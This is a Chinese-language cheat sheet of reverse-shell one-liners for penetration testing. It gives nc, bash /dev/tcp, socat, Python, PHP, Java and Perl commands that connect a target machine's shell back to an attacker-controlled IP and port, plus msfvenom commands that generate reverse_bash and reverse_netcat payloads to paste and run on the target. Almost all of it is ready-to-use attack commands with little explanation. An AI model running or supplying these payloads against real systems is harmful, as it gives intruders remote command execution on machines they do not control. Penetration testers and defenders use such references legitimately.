反弹shell命令总结
1.nc反弹
开启本地8080端口监听,并将本地的bash发布出去。
root# nc -lvvp 8080 -t -e /bin/bash
连接目标主机
nc ip 端口
2.bash直接反弹
kali监听
靶机运行:
root# bash -i >& /dev/tcp/ip/端口 0>&1
bash命令解析:
反弹成功
3. socat反弹
kali监听:socat tcp-listen:1234 -
靶机运行:
socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:IP:1234
反弹成功
4.脚本反弹
4.1:python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("IP",Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4.2:php反弹
php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
4.3:java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP/port;cat <&5 |
while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
4.4:perl反弹
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
.msf获取反弹一句话
可以直接使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出需要的各类反弹一句话payload的路径信息。
# msfvenom -l payloads 'cmd/unix/reverse'
发现msf支持反弹shell类型丰富。可以根据需求选择。
例如:生成bash的
# root@kali:~# msfvenom -p cmd/unix/reverse_bash lhost=1.1.1.1 lport=6666 R
将生成的payload粘贴,在靶机运行即可。
生成netcat
msfvenom -p cmd/unix/reverse_netcat lhost=1.1.1.1 lport=12345 R
将生成的payload粘贴,在靶机运行即可。
靶机运行payload:
成功反弹
|